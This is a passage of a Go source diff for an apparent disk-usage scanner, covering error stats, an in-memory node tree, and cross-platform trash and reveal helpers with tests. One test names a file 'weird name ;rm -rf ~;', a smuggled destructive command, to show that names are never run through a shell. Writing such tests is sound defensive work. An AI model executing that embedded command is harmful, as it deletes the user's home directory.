import (
|
||||
"errors"
|
||||
"io/fs"
|
||||
"syscall"
|
||||
"time"
|
||||
)
|
||||
|
||||
// ErrKind classifies scan errors for reporting.
|
||||
type ErrKind uint8
|
||||
|
||||
const (
|
||||
ErrPermission ErrKind = iota
|
||||
ErrVanished
|
||||
ErrIO
|
||||
ErrLoop
|
||||
ErrOther
|
||||
NumErrKinds
|
||||
)
|
||||
|
||||
func (k ErrKind) String() string {
|
||||
return [...]string{"Permission denied", "Vanished during scan", "I/O error", "Symlink loop", "Other error"}[k]
|
||||
}
|
||||
|
||||
// Classify maps an OS error to an ErrKind.
|
||||
func Classify(err error) ErrKind {
|
||||
switch {
|
||||
case errors.Is(err, fs.ErrPermission):
|
||||
return ErrPermission
|
||||
case errors.Is(err, fs.ErrNotExist):
|
||||
return ErrVanished
|
||||
case errors.Is(err, syscall.ELOOP):
|
||||
return ErrLoop
|
||||
case errors.Is(err, syscall.EIO):
|
||||
return ErrIO
|
||||
}
|
||||
return ErrOther
|
||||
}
|
||||
|
||||
// ErrorRecord is one recorded scan error.
|
||||
type ErrorRecord struct {
|
||||
Node NodeID // node the error is attached to (the directory for listing failures)
|
||||
Name string // entry name when no node was created (e.g. vanished)
|
||||
Kind ErrKind
|
||||
Msg string
|
||||
}
|
||||
|
||||
// MaxErrorRecords caps the detailed error list; counts are always exact.
|
||||
const MaxErrorRecords = 100_000
|
||||
|
||||
// Stats describes a scan as a whole.
|
||||
type Stats struct {
|
||||
Root string
|
||||
Start, End time.Time
|
||||
Complete bool // scan finished (possibly with errors)
|
||||
Cancelled bool
|
||||
|
||||
Files, Dirs, Symlinks, Others int64
|
||||
|
||||
ErrCounts [NumErrKinds]int64
|
||||
Errors []ErrorRecord
|
||||
Excluded int64
|
||||
SkippedMounts int64
|
||||
VirtualSkipped int64
|
||||
LoopsSkipped int64
|
||||
BrokenLinks int64
|
||||
HardlinkDups int64
|
||||
Unscanned int64 // directories never read because the scan was cancelled
|
||||
|
||||
Excludes []string
|
||||
OneFileSystem bool
|
||||
Follow string
|
||||
Workers int
|
||||
FromSnapshot string
|
||||
}
|
||||
|
||||
// TotalErrors sums all error kinds.
|
||||
func (s *Stats) TotalErrors() int64 {
|
||||
var t int64
|
||||
for _, c := range s.ErrCounts {
|
||||
t += c
|
||||
}
|
||||
return t
|
||||
}
|
||||
|
||||
// AddError records an error (the detailed list is capped).
|
||||
func (s *Stats) AddError(r ErrorRecord) {
|
||||
s.ErrCounts[r.Kind]++
|
||||
if len(s.Errors) < MaxErrorRecords {
|
||||
s.Errors = append(s.Errors, r)
|
||||
}
|
||||
}
|
||||
|
||||
// Elapsed is the scan duration so far (or total once finished).
|
||||
func (s *Stats) Elapsed() time.Duration {
|
||||
if !s.End.IsZero() {
|
||||
return s.End.Sub(s.Start)
|
||||
}
|
||||
return time.Since(s.Start)
|
||||
}
|
||||
|
||||
// Incomplete reports whether totals may under-count real usage.
|
||||
func (s *Stats) Incomplete() bool {
|
||||
return !s.Complete || s.Cancelled || s.TotalErrors() > 0 || s.Unscanned > 0
|
||||
}
|
||||
@@ -0,0 +1,338 @@
|
||||
// Package inventory is the in-memory filesystem model: an append-only arena
|
||||
// of nodes addressed by stable NodeIDs, with incrementally maintained
|
||||
// directory aggregates.
|
||||
//
|
||||
// Concurrency: a Tree has exactly one writer (the scan controller or a
|
||||
// snapshot loader). Other goroutines must hold RLock while reading node data.
|
||||
// Nodes are never removed, so a NodeID stays valid for the Tree's lifetime.
|
||||
package inventory
|
||||
|
||||
import (
|
||||
"math"
|
||||
"path/filepath"
|
||||
"slices"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// NodeID addresses a node within one Tree. The root is always 0.
|
||||
type NodeID uint32
|
||||
|
||||
// NoNode is the nil NodeID.
|
||||
const NoNode NodeID = ^NodeID(0)
|
||||
|
||||
// Kind is the node type.
|
||||
type Kind uint8
|
||||
|
||||
const (
|
||||
KindFile Kind = iota
|
||||
KindDir
|
||||
KindSymlink
|
||||
KindOther // devices, sockets, fifos, reparse points
|
||||
)
|
||||
|
||||
func (k Kind) String() string {
|
||||
return [...]string{"File", "Directory", "Symlink", "Special"}[k&3]
|
||||
}
|
||||
|
||||
// Flags record per-node facts.
|
||||
type Flags uint16
|
||||
|
||||
const (
|
||||
FlagHardlinkDup Flags = 1 << iota // additional link to an inode counted elsewhere
|
||||
FlagMountPoint // directory on a different device than its parent
|
||||
FlagVirtualFS // virtual filesystem, not descended
|
||||
FlagSkippedFS // other filesystem, not descended (--one-file-system)
|
||||
FlagSparse // allocated < logical (sparse or compressed)
|
||||
FlagError // stat or read failed
|
||||
FlagIncomplete // directory contents not (fully) read
|
||||
FlagScanned // directory fully read
|
||||
FlagLoop // directory already visited via another path
|
||||
FlagFollowed // reached through a followed symlink
|
||||
FlagAllocUnknown // platform cannot report allocated size
|
||||
FlagBrokenLink // symlink target does not exist
|
||||
FlagHardlinked // regular file with link count > 1
|
||||
FlagDeleted // moved to trash from the UI
|
||||
)
|
||||
|
||||
// Node is one filesystem object. Sizes are own sizes; Tot* fields are
|
||||
// aggregates including the node itself and (for directories) everything
|
||||
// beneath it.
|
||||
type Node struct {
|
||||
Parent, FirstChild, NextSibling NodeID
|
||||
dir uint32 // index into dir side table (directories only)
|
||||
|
||||
Name string // single path component; the root holds the full root path
|
||||
|
||||
Size, Alloc int64 // own logical / allocated bytes
|
||||
TotSize, TotAlloc int64 // aggregates (hard-link duplicates contribute 0)
|
||||
MTime int64 // unix nanoseconds
|
||||
|
||||
Files, Dirs uint32 // recursive counts beneath (dirs excludes self)
|
||||
Errors uint32 // recursive error count beneath and including self
|
||||
Mode uint32 // fs.FileMode bits
|
||||
UID, GID uint32
|
||||
Nlink uint32
|
||||
|
||||
Ext uint16
|
||||
Flags Flags
|
||||
Kind Kind
|
||||
Cat Category
|
||||
}
|
||||
|
||||
// IsDir reports whether the node is a directory.
|
||||
func (n *Node) IsDir() bool { return n.Kind == KindDir }
|
||||
|
||||
// Delta is an aggregate change applied to a node and all its ancestors.
|
||||
type Delta struct {
|
||||
Size, Alloc int64
|
||||
Files, Dirs, Errors int64
|
||||
Cat [NumCategories]int64
|
||||
}
|
||||
|
||||
const chunkBits = 16
|
||||
const chunkSize = 1 << chunkBits
|
||||
|
||||
// chunked is a growable array that never moves existing elements.
|
||||
type chunked[T any] struct {
|
||||
c [][]T
|
||||
n int
|
||||
}
|
||||
|
||||
func (c *chunked[T]) add(v T) uint32 {
|
||||
if c.n&(chunkSize-1) == 0 && c.n>>chunkBits == len(c.c) {
|
||||
c.c = append(c.c, make([]T, 0, chunkSize))
|
||||
}
|
||||
ch := &c.c[c.n>>chunkBits]
|
||||
*ch = append(*ch, v)
|
||||
c.n++
|
||||
return uint32(c.n - 1)
|
||||
}
|
||||
|
||||
func (c *chunked[T]) at(i uint32) *T { return &c.c[i>>chunkBits][i&(chunkSize-1)] }
|
||||
|
||||
// Tree is the inventory for one scan root.
|
||||
type Tree struct {
|
||||
sync.RWMutex
|
||||
|
||||
nodes chunked[Node]
|
||||
dirs chunked[[NumCategories]int64]
|
||||
|
||||
exts []string
|
||||
extIdx map[string]uint16
|
||||
|
||||
Stats Stats
|
||||
}
|
||||
|
||||
// New creates a tree whose root has the given full path and kind.
|
||||
func New(rootPath string, kind Kind) *Tree {
|
||||
t := &Tree{exts: []string{""}, extIdx: map[string]uint16{"": 0}}
|
||||
t.Stats.Root = rootPath
|
||||
t.Stats.Start = time.Now()
|
||||
t.Add(NoNode, rootPath, kind)
|
||||
return t
|
||||
}
|
||||
|
||||
// Len returns the number of nodes.
|
||||
func (t *Tree) Len() int { return t.nodes.n }
|
||||
|
||||
// Node returns the node for id. The pointer stays valid; reading its fields
|
||||
// concurrently with the writer requires RLock.
|
||||
func (t *Tree) Node(id NodeID) *Node { return t.nodes.at(uint32(id)) }
|
||||
|
||||
// Root returns the root NodeID (always 0).
|
||||
func (t *Tree) Root() NodeID { return 0 }
|
||||
|
||||
// Add appends a child node and links it under parent. Only the writer may
|
||||
// call it. It does not touch aggregates; use Propagate.
|
||||
func (t *Tree) Add(parent NodeID, name string, kind Kind) NodeID {
|
||||
n := Node{Parent: parent, FirstChild: NoNode, NextSibling: NoNode, Name: name, Kind: kind}
|
||||
if kind == KindDir {
|
||||
n.dir = t.dirs.add([NumCategories]int64{})
|
||||
} else {
|
||||
n.Ext = t.internExt(Ext(name))
|
||||
}
|
||||
id := NodeID(t.nodes.add(n))
|
||||
if parent != NoNode {
|
||||
p := t.Node(parent)
|
||||
t.Node(id).NextSibling = p.FirstChild
|
||||
p.FirstChild = id
|
||||
}
|
||||
return id
|
||||
}
|
||||
|
||||
func (t *Tree) internExt(e string) uint16 {
|
||||
if i, ok := t.extIdx[e]; ok {
|
||||
return i
|
||||
}
|
||||
if len(t.exts) >= 1<<16-1 {
|
||||
return 0
|
||||
}
|
||||
t.exts = append(t.exts, e)
|
||||
t.extIdx[e] = uint16(len(t.exts) - 1)
|
||||
return uint16(len(t.exts) - 1)
|
||||
}
|
||||
|
||||
// ExtName returns the extension string for a node ("" if none).
|
||||
func (t *Tree) ExtName(n *Node) string { return t.exts[n.Ext] }
|
||||
|
||||
// ExtCount returns the number of interned extensions (including "").
|
||||
func (t *Tree) ExtCount() int { return len(t.exts) }
|
||||
|
||||
// ExtByIndex returns an interned extension.
|
||||
func (t *Tree) ExtByIndex(i int) string { return t.exts[i] }
|
||||
|
||||
// CatSizes returns the per-category allocated bytes beneath a directory.
|
||||
func (t *Tree) CatSizes(id NodeID) *[NumCategories]int64 {
|
||||
n := t.Node(id)
|
||||
if n.Kind != KindDir {
|
||||
return nil
|
||||
}
|
||||
return t.dirs.at(n.dir)
|
||||
}
|
||||
|
||||
// Propagate adds d to id and every ancestor. Cost is O(depth); callers batch
|
||||
// many entries into one Delta.
|
||||
func (t *Tree) Propagate(id NodeID, d Delta) {
|
||||
for id != NoNode {
|
||||
n := t.Node(id)
|
||||
n.TotSize += d.Size
|
||||
n.TotAlloc += d.Alloc
|
||||
n.Files = addU32(n.Files, d.Files)
|
||||
n.Dirs = addU32(n.Dirs, d.Dirs)
|
||||
n.Errors = addU32(n.Errors, d.Errors)
|
||||
if n.Kind == KindDir {
|
||||
cs := t.dirs.at(n.dir)
|
||||
for i, v := range d.Cat {
|
||||
cs[i] += v
|
||||
}
|
||||
}
|
||||
id = n.Parent
|
||||
}
|
||||
}
|
||||
|
||||
// satAdd adds non-negative int64s, saturating at the maximum.
|
||||
func satAdd(a, b int64) int64 {
|
||||
if b > 0 && a > math.MaxInt64-b {
|
||||
return math.MaxInt64
|
||||
}
|
||||
return a + b
|
||||
}
|
||||
|
||||
func addU32(a uint32, d int64) uint32 {
|
||||
v := int64(a) + d
|
||||
if v < 0 {
|
||||
return 0
|
||||
}
|
||||
if v > 1<<32-1 {
|
||||
return 1<<32 - 1
|
||||
}
|
||||
return uint32(v)
|
||||
}
|
||||
|
||||
// Children calls fn for each child of id (in reverse insertion order).
|
||||
func (t *Tree) Children(id NodeID, fn func(NodeID, *Node)) {
|
||||
for c := t.Node(id).FirstChild; c != NoNode; {
|
||||
n := t.Node(c)
|
||||
fn(c, n)
|
||||
c = n.NextSibling
|
||||
}
|
||||
}
|
||||
|
||||
// ChildCount returns the number of direct children.
|
||||
func (t *Tree) ChildCount(id NodeID) int {
|
||||
k := 0
|
||||
for c := t.Node(id).FirstChild; c != NoNode; c = t.Node(c).NextSibling {
|
||||
k++
|
||||
}
|
||||
return k
|
||||
}
|
||||
|
||||
// Path reconstructs the full path of id.
|
||||
func (t *Tree) Path(id NodeID) string {
|
||||
var parts []string
|
||||
for id != NoNode {
|
||||
n := t.Node(id)
|
||||
parts = append(parts, n.Name)
|
||||
id = n.Parent
|
||||
}
|
||||
slices.Reverse(parts)
|
||||
return filepath.Join(parts...)
|
||||
}
|
||||
|
||||
// Ancestors returns the chain root..id inclusive.
|
||||
func (t *Tree) Ancestors(id NodeID) []NodeID {
|
||||
var out []NodeID
|
||||
for id != NoNode {
|
||||
out = append(out, id)
|
||||
id = t.Node(id).Parent
|
||||
}
|
||||
slices.Reverse(out)
|
||||
return out
|
||||
}
|
||||
|
||||
// IsAncestor reports whether a is id or an ancestor of id.
|
||||
func (t *Tree) IsAncestor(a, id NodeID) bool {
|
||||
for id != NoNode {
|
||||
if id == a {
|
||||
return true
|
||||
}
|
||||
id = t.Node(id).Parent
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// Depth returns the number of ancestors of id.
|
||||
func (t *Tree) Depth(id NodeID) int {
|
||||
d := 0
|
||||
for id = t.Node(id).Parent; id != NoNode; id = t.Node(id).Parent {
|
||||
d++
|
||||
}
|
||||
return d
|
||||
}
|
||||
|
||||
// Recompute rebuilds all aggregates bottom-up. It relies on the invariant
|
||||
// that a parent's ID is smaller than its children's, which both the scanner
|
||||
// and the snapshot loader guarantee. Used after loading a snapshot.
|
||||
func (t *Tree) Recompute() {
|
||||
for i := 0; i < t.Len(); i++ {
|
||||
n := t.Node(NodeID(i))
|
||||
n.TotSize, n.TotAlloc, n.Files, n.Dirs = 0, 0, 0, 0
|
||||
n.Errors = 0
|
||||
if n.Flags&FlagError != 0 {
|
||||
n.Errors = 1
|
||||
}
|
||||
if n.Flags&FlagHardlinkDup == 0 {
|
||||
n.TotSize, n.TotAlloc = n.Size, n.Alloc
|
||||
}
|
||||
if n.Kind == KindDir {
|
||||
*t.dirs.at(n.dir) = [NumCategories]int64{}
|
||||
}
|
||||
}
|
||||
// Sums saturate: snapshot data is untrusted and must not wrap to
|
||||
// negative totals.
|
||||
for i := t.Len() - 1; i > 0; i-- {
|
||||
n := t.Node(NodeID(i))
|
||||
p := t.Node(n.Parent)
|
||||
p.TotSize = satAdd(p.TotSize, n.TotSize)
|
||||
p.TotAlloc = satAdd(p.TotAlloc, n.TotAlloc)
|
||||
p.Errors = addU32(p.Errors, int64(n.Errors))
|
||||
cs := t.dirs.at(p.dir)
|
||||
if n.Kind == KindDir {
|
||||
p.Files = addU32(p.Files, int64(n.Files))
|
||||
p.Dirs = addU32(p.Dirs, int64(n.Dirs)+1)
|
||||
for c, v := range t.dirs.at(n.dir) {
|
||||
cs[c] = satAdd(cs[c], v)
|
||||
}
|
||||
} else {
|
||||
p.Files = addU32(p.Files, 1)
|
||||
if n.Flags&FlagHardlinkDup == 0 {
|
||||
cs[n.Cat] = satAdd(cs[n.Cat], n.Alloc)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ExtIndexer returns a function interning extension strings; used by
|
||||
// loaders that rebuild a tree from external data.
|
||||
func (t *Tree) ExtIndexer() func(string) uint16 { return t.internExt }
|
||||
@@ -0,0 +1,36 @@
|
||||
//go:build unix
|
||||
|
||||
package platform
|
||||
|
||||
import (
|
||||
"io/fs"
|
||||
"syscall"
|
||||
)
|
||||
|
||||
func modeFromUnix(m uint32) fs.FileMode {
|
||||
mode := fs.FileMode(m & 0o777)
|
||||
switch m & syscall.S_IFMT {
|
||||
case syscall.S_IFDIR:
|
||||
mode |= fs.ModeDir
|
||||
case syscall.S_IFLNK:
|
||||
mode |= fs.ModeSymlink
|
||||
case syscall.S_IFIFO:
|
||||
mode |= fs.ModeNamedPipe
|
||||
case syscall.S_IFSOCK:
|
||||
mode |= fs.ModeSocket
|
||||
case syscall.S_IFCHR:
|
||||
mode |= fs.ModeDevice | fs.ModeCharDevice
|
||||
case syscall.S_IFBLK:
|
||||
mode |= fs.ModeDevice
|
||||
}
|
||||
if m&syscall.S_ISUID != 0 {
|
||||
mode |= fs.ModeSetuid
|
||||
}
|
||||
if m&syscall.S_ISGID != 0 {
|
||||
mode |= fs.ModeSetgid
|
||||
}
|
||||
if m&syscall.S_ISVTX != 0 {
|
||||
mode |= fs.ModeSticky
|
||||
}
|
||||
return mode
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
package platform
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
// startDetached runs a helper program with an argument vector (never a
|
||||
// shell), detached from the terminal so it cannot disturb the TUI.
|
||||
func startDetached(name string, args ...string) error {
|
||||
cmd := exec.Command(name, args...)
|
||||
cmd.Stdin, cmd.Stdout, cmd.Stderr = nil, nil, nil
|
||||
if err := cmd.Start(); err != nil {
|
||||
return err
|
||||
}
|
||||
go cmd.Wait()
|
||||
return nil
|
||||
}
|
||||
|
||||
// checkAbs guards helper invocations: an absolute path can never be parsed
|
||||
// as an option by the helper program.
|
||||
func checkAbs(path string) error {
|
||||
if !filepath.IsAbs(path) {
|
||||
return errors.New("refusing relative path")
|
||||
}
|
||||
if _, err := os.Lstat(path); err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,72 @@
|
||||
package platform
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"syscall"
|
||||
)
|
||||
|
||||
// TrashName is the user-facing name of the trash.
|
||||
const TrashName = "Trash"
|
||||
|
||||
// Reveal selects the item in Finder.
|
||||
func Reveal(path string) error {
|
||||
if err := checkAbs(path); err != nil {
|
||||
return err
|
||||
}
|
||||
return startDetached("open", "-R", path)
|
||||
}
|
||||
|
||||
// Trash moves path into ~/.Trash (same volume) or the volume's
|
||||
// .Trashes/<uid> directory. It never copies and never deletes.
|
||||
func Trash(path string) error {
|
||||
if err := checkAbs(path); err != nil {
|
||||
return err
|
||||
}
|
||||
home, err := os.UserHomeDir()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
dirs := []string{filepath.Join(home, ".Trash")}
|
||||
if vol := volumeOf(path); vol != "" {
|
||||
dirs = append(dirs, filepath.Join(vol, ".Trashes", fmt.Sprint(os.Getuid())))
|
||||
}
|
||||
base := filepath.Base(path)
|
||||
for _, dir := range dirs {
|
||||
if err := os.MkdirAll(dir, 0o700); err != nil {
|
||||
continue
|
||||
}
|
||||
for i := 1; i < 10000; i++ {
|
||||
name := base
|
||||
if i > 1 {
|
||||
name = fmt.Sprintf("%s %d", base, i)
|
||||
}
|
||||
dst := filepath.Join(dir, name)
|
||||
if _, err := os.Lstat(dst); err == nil {
|
||||
continue
|
||||
}
|
||||
err := os.Rename(path, dst)
|
||||
if errors.Is(err, syscall.EXDEV) {
|
||||
break // try the next trash location
|
||||
}
|
||||
return err
|
||||
}
|
||||
}
|
||||
return errors.New("trash: item is on a volume without a usable trash")
|
||||
}
|
||||
|
||||
func volumeOf(path string) string {
|
||||
const prefix = "/Volumes/"
|
||||
if len(path) > len(prefix) && path[:len(prefix)] == prefix {
|
||||
rest := path[len(prefix):]
|
||||
for i := 0; i < len(rest); i++ {
|
||||
if rest[i] == '/' {
|
||||
return prefix + rest[:i]
|
||||
}
|
||||
}
|
||||
return path
|
||||
}
|
||||
return ""
|
||||
}
|
||||
@@ -0,0 +1,150 @@
|
||||
package platform
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"net/url"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"syscall"
|
||||
"time"
|
||||
)
|
||||
|
||||
// TrashName is the user-facing name of the trash.
|
||||
const TrashName = "trash"
|
||||
|
||||
// Reveal opens the item's directory in the desktop file manager.
|
||||
func Reveal(path string) error {
|
||||
if err := checkAbs(path); err != nil {
|
||||
return err
|
||||
}
|
||||
fi, err := os.Lstat(path)
|
||||
if err == nil && !fi.IsDir() {
|
||||
path = filepath.Dir(path)
|
||||
}
|
||||
return startDetached("xdg-open", path)
|
||||
}
|
||||
|
||||
// Trash moves path to the freedesktop.org trash: the home trash when on the
|
||||
// same filesystem, otherwise $topdir/.Trash-$uid on the item's filesystem.
|
||||
// It never copies across filesystems and never deletes.
|
||||
func Trash(path string) error {
|
||||
if err := checkAbs(path); err != nil {
|
||||
return err
|
||||
}
|
||||
st, err := os.Lstat(path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
dev := st.Sys().(*syscall.Stat_t).Dev
|
||||
dataHome := os.Getenv("XDG_DATA_HOME")
|
||||
if dataHome == "" {
|
||||
home, err := os.UserHomeDir()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
dataHome = filepath.Join(home, ".local", "share")
|
||||
}
|
||||
home := filepath.Join(dataHome, "Trash")
|
||||
var trash, infoPath string
|
||||
if hs, err := os.Stat(dataHome); err == nil && hs.Sys().(*syscall.Stat_t).Dev == dev {
|
||||
trash, infoPath = home, path
|
||||
} else {
|
||||
top := mountTop(path, dev)
|
||||
trash = filepath.Join(top, ".Trash-"+strconv.Itoa(os.Getuid()))
|
||||
rel, err := filepath.Rel(top, path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
infoPath = rel
|
||||
}
|
||||
files, info := filepath.Join(trash, "files"), filepath.Join(trash, "info")
|
||||
if trash == home {
|
||||
if err := os.MkdirAll(trash, 0o700); err != nil {
|
||||
return err
|
||||
}
|
||||
} else if err := ensurePrivateDir(trash, true); err != nil {
|
||||
// On a shared filesystem another user could plant a symlink or a
|
||||
// world-writable directory here; refuse rather than follow it.
|
||||
return fmt.Errorf("trash directory %s is unsafe: %w", trash, err)
|
||||
}
|
||||
for _, d := range []string{files, info} {
|
||||
if err := ensurePrivateDir(d, trash != home); err != nil {
|
||||
return fmt.Errorf("trash directory %s is unsafe: %w", d, err)
|
||||
}
|
||||
}
|
||||
base := filepath.Base(path)
|
||||
for i := 1; i < 10000; i++ {
|
||||
name := base
|
||||
if i > 1 {
|
||||
name = fmt.Sprintf("%s.%d", base, i)
|
||||
}
|
||||
dst := filepath.Join(files, name)
|
||||
if _, err := os.Lstat(dst); err == nil {
|
||||
continue // never overwrite an earlier trashed item (even without .trashinfo)
|
||||
}
|
||||
ip := filepath.Join(info, name+".trashinfo")
|
||||
f, err := os.OpenFile(ip, os.O_WRONLY|os.O_CREATE|os.O_EXCL, 0o600)
|
||||
if errors.Is(err, os.ErrExist) {
|
||||
continue
|
||||
}
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
u := (&url.URL{Path: infoPath}).EscapedPath()
|
||||
_, werr := fmt.Fprintf(f, "[Trash Info]\nPath=%s\nDeletionDate=%s\n", u, time.Now().Format("2006-01-02T15:04:05"))
|
||||
cerr := f.Close()
|
||||
if werr != nil || cerr != nil {
|
||||
os.Remove(ip)
|
||||
return errors.Join(werr, cerr)
|
||||
}
|
||||
if err := os.Rename(path, dst); err != nil {
|
||||
os.Remove(ip)
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
return errors.New("trash: too many items with the same name")
|
||||
}
|
||||
|
||||
// ensurePrivateDir creates dir (mode 0700) if missing; an existing entry must
|
||||
// be a real directory (not a symlink) owned by us. With strict (trash on a
|
||||
// shared filesystem) it must also be inaccessible to others, as the
|
||||
// freedesktop.org spec requires; home trash directories made by desktop
|
||||
// environments are sometimes 0755, which is harmless there.
|
||||
func ensurePrivateDir(dir string, strict bool) error {
|
||||
if err := os.Mkdir(dir, 0o700); err != nil && !errors.Is(err, os.ErrExist) {
|
||||
return err
|
||||
}
|
||||
fi, err := os.Lstat(dir)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
st := fi.Sys().(*syscall.Stat_t)
|
||||
switch {
|
||||
case !fi.IsDir():
|
||||
return errors.New("not a directory (symlink?)")
|
||||
case int(st.Uid) != os.Getuid():
|
||||
return errors.New("owned by another user")
|
||||
case strict && fi.Mode().Perm()&0o077 != 0:
|
||||
return errors.New("accessible to other users")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// mountTop returns the top directory of the filesystem containing path.
|
||||
func mountTop(path string, dev uint64) string {
|
||||
cur := filepath.Dir(path)
|
||||
for {
|
||||
parent := filepath.Dir(cur)
|
||||
if parent == cur {
|
||||
return cur
|
||||
}
|
||||
st, err := os.Stat(parent)
|
||||
if err != nil || st.Sys().(*syscall.Stat_t).Dev != dev {
|
||||
return cur
|
||||
}
|
||||
cur = parent
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,64 @@
|
||||
package platform
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestTrashFreedesktop(t *testing.T) {
|
||||
data := t.TempDir()
|
||||
t.Setenv("XDG_DATA_HOME", data)
|
||||
dir := filepath.Join(data, "work")
|
||||
os.Mkdir(dir, 0o755)
|
||||
victim := filepath.Join(dir, "weird name ;rm -rf ~;")
|
||||
if err := os.WriteFile(victim, []byte("x"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := Trash(victim); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if _, err := os.Lstat(victim); !os.IsNotExist(err) {
|
||||
t.Fatal("file still present")
|
||||
}
|
||||
trashed := filepath.Join(data, "Trash", "files", "weird name ;rm -rf ~;")
|
||||
if _, err := os.Lstat(trashed); err != nil {
|
||||
t.Fatalf("not in trash: %v", err)
|
||||
}
|
||||
info, err := os.ReadFile(filepath.Join(data, "Trash", "info", "weird name ;rm -rf ~;.trashinfo"))
|
||||
if err != nil || !strings.Contains(string(info), "Path="+strings.ReplaceAll(dir, " ", "%20")) {
|
||||
t.Fatalf("bad trashinfo: %q %v", info, err)
|
||||
}
|
||||
// A second item with the same name gets a distinct trash name.
|
||||
os.WriteFile(victim, []byte("y"), 0o644)
|
||||
if err := Trash(victim); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if _, err := os.Lstat(trashed + ".2"); err != nil {
|
||||
t.Fatal("collision not handled")
|
||||
}
|
||||
if err := Trash("relative/path"); err == nil {
|
||||
t.Fatal("relative paths must be refused")
|
||||
}
|
||||
}
|
||||
|
||||
func TestEnsurePrivateDirRejectsSymlink(t *testing.T) {
|
||||
base := t.TempDir()
|
||||
target := filepath.Join(base, "attacker")
|
||||
os.Mkdir(target, 0o700)
|
||||
link := filepath.Join(base, ".Trash-1000")
|
||||
os.Symlink(target, link)
|
||||
if err := ensurePrivateDir(link, false); err == nil {
|
||||
t.Fatal("symlinked trash dir accepted")
|
||||
}
|
||||
open := filepath.Join(base, "open")
|
||||
os.Mkdir(open, 0o777)
|
||||
os.Chmod(open, 0o777)
|
||||
if err := ensurePrivateDir(open, true); err == nil {
|
||||
t.Fatal("world-accessible trash dir accepted")
|
||||
}
|
||||
if err := ensurePrivateDir(filepath.Join(base, "fresh"), true); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
//go:build !linux && !darwin && !windows
|
||||
|
||||
package platform
|
||||
|
||||
import "errors"
|
||||
|
||||
// TrashName is the user-facing name of the trash.
|
||||
const TrashName = "trash"
|
||||
|
||||
// Reveal is unsupported on this platform.
|
||||
func Reveal(string) error { return errors.New("not supported on this platform") }
|
||||
|
||||
// Trash is unsupported on this platform.
|
||||
func Trash(string) error { return errors.New("trash not supported on this platform") }
|
||||
@@ -0,0 +1,71 @@
|
||||
package platform
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"strconv"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
// TrashName is the user-facing name of the trash.
|
||||
const TrashName = "Recycle Bin"
|
||||
|
||||
// Reveal selects the item in Explorer.
|
||||
func Reveal(path string) error {
|
||||
if err := checkAbs(path); err != nil {
|
||||
return err
|
||||
}
|
||||
return startDetached("explorer.exe", "/select,", path)
|
||||
}
|
||||
|
||||
var (
|
||||
shell32 = syscall.NewLazyDLL("shell32.dll")
|
||||
procSHFileOpertn = shell32.NewProc("SHFileOperationW")
|
||||
)
|
||||
|
||||
// shFileOpStruct mirrors SHFILEOPSTRUCTW (64-bit natural alignment).
|
||||
type shFileOpStruct struct {
|
||||
hwnd uintptr
|
||||
wFunc uint32
|
||||
pFrom *uint16
|
||||
pTo *uint16
|
||||
fFlags uint16
|
||||
fAnyOperationsAborted int32
|
||||
hNameMappings uintptr
|
||||
lpszProgressTitle *uint16
|
||||
}
|
||||
|
||||
const (
|
||||
foDelete = 0x3
|
||||
fofSilent = 0x4
|
||||
fofNoConfirmation = 0x10
|
||||
fofAllowUndo = 0x40
|
||||
fofNoErrorUI = 0x400
|
||||
fofNoConfirmMkdir = 0x200
|
||||
)
|
||||
|
||||
// Trash moves path to the Recycle Bin via SHFileOperationW with
|
||||
// FOF_ALLOWUNDO. It never deletes permanently.
|
||||
func Trash(path string) error {
|
||||
if err := checkAbs(path); err != nil {
|
||||
return err
|
||||
}
|
||||
if unsafe.Sizeof(uintptr(0)) != 8 {
|
||||
return errors.New("recycle bin support requires a 64-bit build")
|
||||
}
|
||||
u, err := syscall.UTF16FromString(path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
u = append(u, 0) // double NUL terminated list
|
||||
op := shFileOpStruct{wFunc: foDelete, pFrom: &u[0],
|
||||
fFlags: fofAllowUndo | fofNoConfirmation | fofSilent | fofNoErrorUI | fofNoConfirmMkdir}
|
||||
r, _, _ := procSHFileOpertn.Call(uintptr(unsafe.Pointer(&op)))
|
||||
if r != 0 {
|
||||
return errors.New("SHFileOperation failed: code " + strconv.Itoa(int(r)))
|
||||
}
|
||||
if op.fAnyOperationsAborted != 0 {
|
||||
return errors.New("operation aborted")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,151 @@
|
||||
// Package platform hides OS-specific filesystem metadata behind a small
|
||||
// common API. Files are split by build tag; nothing else in the program
|
||||
// switches on GOOS.
|
||||
package platform
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"io"
|
||||
"io/fs"
|
||||
"os"
|
||||
